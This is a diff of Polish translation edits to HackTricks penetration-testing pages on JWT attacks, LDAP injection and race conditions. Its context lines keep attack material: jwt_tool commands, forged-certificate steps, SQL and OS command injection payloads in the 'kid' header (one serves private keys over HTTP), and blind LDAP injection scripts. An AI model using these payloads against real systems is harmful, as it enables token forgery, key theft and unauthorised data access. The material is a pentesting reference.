* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
-
+
-Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli interesuje Cię **kariera hakera** i włamanie się na nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -337,10 +337,10 @@ Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowan
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md
index 5c150b14a..dac4e9499 100644
--- a/pentesting-web/hacking-jwt-json-web-tokens.md
+++ b/pentesting-web/hacking-jwt-json-web-tokens.md
@@ -8,20 +8,20 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
-* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
+* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
-
+
-Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
+Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
-**Część tego posta opiera się na niesamowitym poście:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
-**Autor świetnego narzędzia do testowania penetracyjnego JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
+**Część tego posta opiera się na świetnym poście:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
+**Autor doskonałego narzędzia do testowania penetracyjnego JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Szybkie Zwycięstwa**
@@ -41,13 +41,13 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Modyfikacja danych bez zmiany niczego
-Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzać, czy serwer sprawdza sygnaturę. Spróbuj zmienić swoją nazwę użytkownika na "admin" na przykład.
+Możesz po prostu zmieniać dane, pozostawiając sygnaturę bez zmian i sprawdzić, czy serwer sprawdza sygnaturę. Spróbuj zmienić swoją nazwę użytkownika na "admin" na przykład.
#### **Czy token jest sprawdzany?**
Aby sprawdzić, czy sygnatura JWT jest weryfikowana:
-* Komunikat o błędzie sugeruje trwającą weryfikację; szczegóły w wyczerpujących błędach powinny być sprawdzone.
+* Komunikat o błędzie sugeruje trwającą weryfikację; szczegóły w wyczerpujących błędach powinny być przeanalizowane.
* Zmiana na zwróconej stronie również wskazuje na weryfikację.
* Brak zmian sugeruje brak weryfikacji; wtedy można eksperymentować z modyfikacją twierdzeń ładunku.
@@ -60,9 +60,9 @@ Ważne jest ustalenie, czy token został wygenerowany po stronie serwera czy po
### Czas trwania
-Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
+Sprawdź, czy token trwa dłużej niż 24 godziny... być może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
-### Brutalne narzędzie do odgadywania tajnego klucza HMAC
+### Brutalne narzędzie do odszyfrowania tajnego klucza HMAC
[Zobacz tę stronę.](../generic-methodologies-and-resources/brute-force.md#jwt)
@@ -70,7 +70,7 @@ Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Je
Ustaw używany algorytm jako "None" i usuń część sygnatury.
-Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w karcie "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" jako "None").
+Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby wypróbować tę podatność i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz modyfikować wartości tokena. Możesz również wybrać wartość pola "Alg" na "None").
### Zmiana algorytmu z RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
@@ -86,7 +86,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### Nowy klucz publiczny w nagłówku
-Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).
+Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji sygnatury (CVE-2018-0114).
Można to zrobić za pomocą rozszerzenia Burp "JSON Web Tokens".\
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
@@ -95,10 +95,10 @@ Można to zrobić za pomocą rozszerzenia Burp "JSON Web Tokens".\
Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, zwłaszcza tych korzystających z nagłówka "jku". Ten nagłówek powinien odnosić się do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokenu.
-* **Ocena Tokenów z Nagłówkiem "jku"**:
-* Zweryfikuj adres URL z deklaracją "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
+* **Ocena tokenów z nagłówkiem "jku"**:
+* Zweryfikuj adres URL zadeklarowany w nagłówku "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
* Zmodyfikuj wartość "jku" tokenu, aby kierować ją do kontrolowanego serwisu internetowego, umożliwiając obserwację ruchu.
-* **Monitorowanie Interakcji HTTP**:
+* **Monitorowanie interakcji HTTP**:
* Obserwacja żądań HTTP do określonego adresu URL wskazuje na próby serwera pobrania kluczy z podanego linku.
* Podczas korzystania z `jwt_tool` w tym procesie, istotne jest zaktualizowanie pliku `jwtconf.ini` z lokalizacją Twojego osobistego pliku JWKS w celu ułatwienia testów.
* **Polecenie dla `jwt_tool`**:
@@ -110,31 +110,31 @@ python3 jwt_tool.py JWT_TUTAJ -X s
### Przegląd problemów z "kid"
-Opcjonalna deklaracja nagłówka znana jako `kid` jest wykorzystywana do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokenu. Ta deklaracja pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokenu.
+Opcjonalny nagłówek o nazwie `kid` jest wykorzystywany do identyfikacji konkretnego klucza, co staje się istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji sygnatury tokenu. Ten nagłówek pomaga w wyborze odpowiedniego klucza do weryfikacji sygnatury tokenu.
#### Ujawnianie klucza poprzez "kid"
-Gdy deklaracja `kid` jest obecna w nagłówku, zaleca się wyszukiwanie katalogu sieciowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli `"kid":"klucz/12345"` jest określony, pliki _/klucz/12345_ i _/klucz/12345.pem_ powinny być wyszukiwane w głównym katalogu sieciowym.
+Gdy nagłówek `kid` jest obecny, zaleca się wyszukiwanie katalogu sieciowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli `"kid":"klucz/12345"` jest określony, należy wyszukać pliki _/klucz/12345_ i _/klucz/12345.pem_ w głównym katalogu sieciowym.
#### Traversal ścieżki z "kid"
-Deklaracja `kid` może również być wykorzystana do nawigacji po systemie plików, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonywanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid` w celu celowania w konkretne pliki lub usługi. Zmiana JWT w celu zmiany wartości `kid` zachowując oryginalny podpis może być osiągnięta za pomocą flagi `-T` w jwt\_tool, jak pokazano poniżej:
+Nagłówek `kid` może być również wykorzystany do nawigacji po systemie plików, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonywanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości `kid` w celu celowania w konkretne pliki lub usługi. Zmiana tokenu JWT w celu zmiany wartości `kid`, zachowując jednocześnie oryginalną sygnaturę, może być osiągnięta za pomocą flagi `-T` w jwt\_tool, jak pokazano poniżej:
```bash
python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Poprzez celowanie w pliki z przewidywalną zawartością, możliwe jest sfałszowanie ważnego JWT. Na przykład plik `/proc/sys/kernel/randomize_va_space` w systemach Linux, zawierający wartość **2**, może być użyty w parametrze `kid` z **2** jako symetrycznym hasłem do generowania JWT.
-#### Wstrzykiwanie SQL poprzez "kid"
+#### Wstrzyknięcie SQL poprzez "kid"
-Jeśli zawartość claimu `kid` jest wykorzystywana do pobrania hasła z bazy danych, atak typu wstrzykiwanie SQL może być ułatwiony poprzez modyfikację ładunku `kid`. Przykładowy ładunek wykorzystujący wstrzykiwanie SQL do zmiany procesu podpisywania JWT to:
+Jeśli zawartość claimu `kid` jest wykorzystywana do pobrania hasła z bazy danych, wstrzyknięcie SQL może być ułatwione poprzez modyfikację ładunku `kid`. Przykładowy ładunek wykorzystujący wstrzyknięcie SQL do zmiany procesu podpisywania JWT to:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Ta zmiana wymusza użycie znanego klucza tajnego, `ATTACKER`, do podpisywania JWT.
-#### Wstrzykiwanie OS poprzez "kid"
+#### Wstrzyknięcie OS poprzez "kid"
-Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w kontekście wykonania polecenia, może prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzykiwanie poleceń do parametru `kid`, możliwe jest ujawnienie prywatnych kluczy. Przykładowy ładunek do osiągnięcia RCE i ujawnienia kluczy to:
+Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w kontekście wykonania polecenia, może prowadzić do podatności na zdalne wykonanie kodu (RCE). Poprzez wstrzyknięcie poleceń do parametru `kid`, możliwe jest ujawnienie prywatnych kluczy. Przykładowy ładunek do osiągnięcia RCE i ujawnienia kluczy to:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@@ -143,7 +143,7 @@ Scenariusz, w którym parametr `kid` określa ścieżkę pliku używaną w konte
#### jku
jku oznacza **JWK Set URL**.\
-Jeśli token używa claimu nagłówka "**jku**", **sprawdź podany adres URL**. Powinien wskazywać na adres URL zawierający plik JWKS, który przechowuje klucz publiczny do weryfikacji tokenu. Zmodyfikuj token, aby wskazywał wartość jku na usługę sieciową, którą możesz monitorować pod kątem ruchu.
+Jeśli token używa claimu nagłówka "**jku**", **sprawdź podany URL**. Powinien wskazywać na adres URL zawierający plik JWKS, który przechowuje klucz publiczny do weryfikacji tokenu. Zmodyfikuj token, aby wskazywał wartość jku na usługę sieciową, którą możesz monitorować pod kątem ruchu.
Najpierw musisz utworzyć nowy certyfikat z nowymi kluczami prywatnymi i publicznymi.
```bash
@@ -151,7 +151,7 @@ openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
-Następnie możesz na przykład użyć [**jwt.io**](https://jwt.io), aby utworzyć nowy JWT z **utworzonymi kluczami publicznym i prywatnym oraz wskazując parametr jku na utworzony certyfikat.** Aby utworzyć poprawny certyfikat jku, możesz pobrać oryginalny i zmienić wymagane parametry.
+Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby utworzyć nowy JWT z **utworzonymi kluczami publicznym i prywatnym oraz wskazując parametr jku na utworzony certyfikat.** Aby utworzyć poprawny certyfikat jku, możesz pobrać oryginalny i zmienić wymagane parametry.
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
```bash
@@ -168,7 +168,7 @@ X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard f
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy otrzymujesz jakieś żądanie. W takim przypadku **możesz sfałszować JWT**.
-Aby sfałszować nowy token, używając certyfikatu kontrolowanego przez ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
+Aby sfałszować nowy token za pomocą certyfikatu kontrolowanego przez ciebie, musisz utworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
@@ -177,7 +177,7 @@ Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io), aby utworzy
![](<../.gitbook/assets/image (439).png>)
-Możesz również nadużyć obu tych podatności **dla ataków SSRF**.
+Możesz również wykorzystać obie te luki **do ataków SSRF**.
#### x5c
@@ -185,7 +185,7 @@ Ten parametr może zawierać **certyfikat w formacie base64**:
![](<../.gitbook/assets/image (440).png>)
-Jeśli atakujący **wygeneruje certyfikat podpisany własnoręcznie** i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego, a następnie zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to w rezultacie sfałszowany token zostanie zaakceptowany przez serwer.
+Jeśli atakujący **wygeneruje certyfikat samopodpisany** i utworzy sfałszowany token, używając odpowiadającego klucza prywatnego i zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem oraz zmodyfikuje inne parametry, mianowicie n, e i x5t, to w rezultacie sfałszowany token zostanie zaakceptowany przez serwer.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@@ -235,13 +235,13 @@ Jednakże, wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4
**Ataki przekazywania międzyusługowego**
-Zauważono, że niektóre aplikacje internetowe polegają na zaufanym serwisie JWT do generowania i zarządzania swoimi tokenami. Zdarzały się sytuacje, gdzie token wygenerowany dla jednego klienta przez usługę JWT został zaakceptowany przez innego klienta tej samej usługi JWT. Jeśli obserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na koncie innego klienta tej usługi, używając tego samego nazwy użytkownika/adresu e-mail. Następnie należy spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
+Zauważono, że niektóre aplikacje internetowe polegają na zaufanym serwisie JWT do generowania i zarządzania swoimi tokenami. Zdarzały się sytuacje, gdzie token wygenerowany dla jednego klienta przez serwis JWT został zaakceptowany przez innego klienta tego samego serwisu JWT. Jeśli obserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na koncie innego klienta tej usługi, używając tego samego nazwy użytkownika/adresu e-mail. Następnie należy spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
* Akceptacja twojego tokenu może wskazywać na poważny problem, potencjalnie umożliwiający podszywanie się pod dowolne konto użytkownika. Należy jednak zauważyć, że może być konieczna zgoda na szersze testowanie, jeśli rejestracja w aplikacji innej firmy może wprowadzić w obszar szarej strefy prawniczej.
**Sprawdzanie ważności tokenów**
-Ważność tokenu jest sprawdzana za pomocą claimu "exp" Payload. Ponieważ JWT często są używane bez informacji sesyjnych, wymagane jest ostrożne postępowanie. W wielu przypadkach przechwycenie i odtworzenie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca zmniejszenie ataków powtórnego odtwarzania JWT poprzez wykorzystanie claimu "exp" do ustawienia czasu ważności tokenu. Ponadto istotne jest, aby aplikacja implementowała odpowiednie sprawdzenia, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera claim "exp" i limity czasowe na testowanie na to pozwalają, zaleca się przechowywanie tokenu i jego odtwarzanie po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasu i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt\_tool.
+Ważność tokenu jest sprawdzana za pomocą claimu "exp" Payload. Biorąc pod uwagę, że JWT często są używane bez informacji sesyjnych, wymagane jest ostrożne postępowanie. W wielu przypadkach przechwycenie i odtworzenie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca zmniejszenie ryzyka ataków polegających na odtwarzaniu JWT poprzez wykorzystanie claimu "exp" do ustawienia czasu ważności tokenu. Ponadto istotne jest, aby aplikacja implementowała odpowiednie sprawdzenia, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera claim "exp" i limity czasowe testów na to pozwalają, zaleca się przechowywanie tokenu i jego odtwarzanie po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasu i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.
* Istnieje ryzyko bezpieczeństwa, jeśli aplikacja nadal waliduje token, ponieważ może to sugerować, że token nigdy nie wygaśnie.
@@ -249,9 +249,9 @@ Ważność tokenu jest sprawdzana za pomocą claimu "exp" Payload. Ponieważ JWT
{% embed url="https://github.com/ticarpi/jwt_tool" %}
-
+
-Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
+Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego zarówno w mowie, jak i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -264,7 +264,7 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md
index 234ffa0fc..3edb525ad 100644
--- a/pentesting-web/ldap-injection.md
+++ b/pentesting-web/ldap-injection.md
@@ -4,7 +4,7 @@
-Nauka hakowania AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
@@ -16,9 +16,9 @@ Inne sposoby wsparcia HackTricks:
-
+
-Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **zatrudniamy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
+Jeśli interesuje Cię **kariera hakerska** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -26,13 +26,13 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **zatrud
### **LDAP**
-**Jeśli chcesz dowiedzieć się, co to jest LDAP, odwiedź następującą stronę:**
+**Jeśli chcesz dowiedzieć się, czym jest LDAP, odwiedź następującą stronę:**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
-**Wstrzykiwanie LDAP** to atak, który celuje w aplikacje internetowe, które tworzą instrukcje LDAP na podstawie danych wprowadzanych przez użytkownika. Występuje, gdy aplikacja **nie oczyszcza poprawnie** danych wejściowych, umożliwiając atakującym **manipulowanie instrukcjami LDAP** za pośrednictwem lokalnego proxy, co potencjalnie prowadzi do nieautoryzowanego dostępu lub manipulacji danych.
+**Wstrzykiwanie LDAP** to atak wymierzony w aplikacje internetowe, które konstruują instrukcje LDAP na podstawie danych wprowadzanych przez użytkownika. Występuje, gdy aplikacja **nie oczyszcza poprawnie** danych wejściowych, umożliwiając atakującym **manipulowanie instrukcjami LDAP** za pośrednictwem lokalnego proxy, co potencjalnie prowadzi do nieautoryzowanego dostępu lub manipulacji danych.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
@@ -62,7 +62,7 @@ Możesz uzyskać dostęp do bazy danych, która może zawierać informacje róż
**ADAM lub Microsoft LDS**: Z 2 filtrami generują błąd.\
**SunOne Directory Server 5.0**: Wykonuje oba filtry.
-**Bardzo ważne jest wysłanie filtra z poprawną składnią, w przeciwnym razie zostanie wygenerowany błąd. Lepiej wysłać tylko 1 filtr.**
+**Bardzo ważne jest wysłanie filtra z poprawną składnią, w przeciwnym razie zostanie wygenerowany błąd. Lepiej jest wysłać tylko 1 filtr.**
Filtr musi zaczynać się od: `&` lub `|`\
Przykład: `(&(directory=val1)(folder=public))`
@@ -135,7 +135,7 @@ password=any
* [Atrybuty LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Atrybuty LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
-### Ślepa Wstrzyknięcie LDAP
+### Ślepa Wstrzykiwanie LDAP
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@@ -149,7 +149,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Wyciek danych
-Możesz iterować po literach ascii, cyfrach i symbolach:
+Możesz iterować po literach ASCII, cyfrach i symbolach:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@@ -160,11 +160,9 @@ Możesz iterować po literach ascii, cyfrach i symbolach:
(&(sn=administrator)(password=MB*)) : KO
...
```
-### Skrypty
-
#### **Odkrywanie prawidłowych pól LDAP**
-Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być używane do **zapisywania informacji**. Możesz spróbować **przeprowadzić atak siłowy na wszystkie z nich, aby wydobyć te informacje**. Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
+Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być użyte do **zapisywania informacji**. Możesz spróbować **przeprowadzić atak siłowy na wszystkie z nich, aby wydobyć te informacje**. Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@@ -196,7 +194,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
-#### **Specjalne ślepe wstrzyknięcie LDAP (bez "\*")**
+#### **Specjalne wstrzyknięcie LDAP w ciemno (bez "\*")**
```python
#!/usr/bin/python3
@@ -223,15 +221,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
-
+
-Jeśli interesuje Cię **kariera hakera** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
+Jeśli jesteś zainteresowany **karierą w dziedzinie hakowania** i hakiem na to, co niemożliwe - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
-Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md
index 018ff04fd..f407f93e1 100644
--- a/pentesting-web/race-condition.md
+++ b/pentesting-web/race-condition.md
@@ -1,80 +1,80 @@
-# Wyścig warunkowy
+# Warunek wyścigu
\
-Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
-Otrzymaj dostęp już dziś:
+Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
+Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
+Zacznij od zera i zostań mistrzem hakowania AWS zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
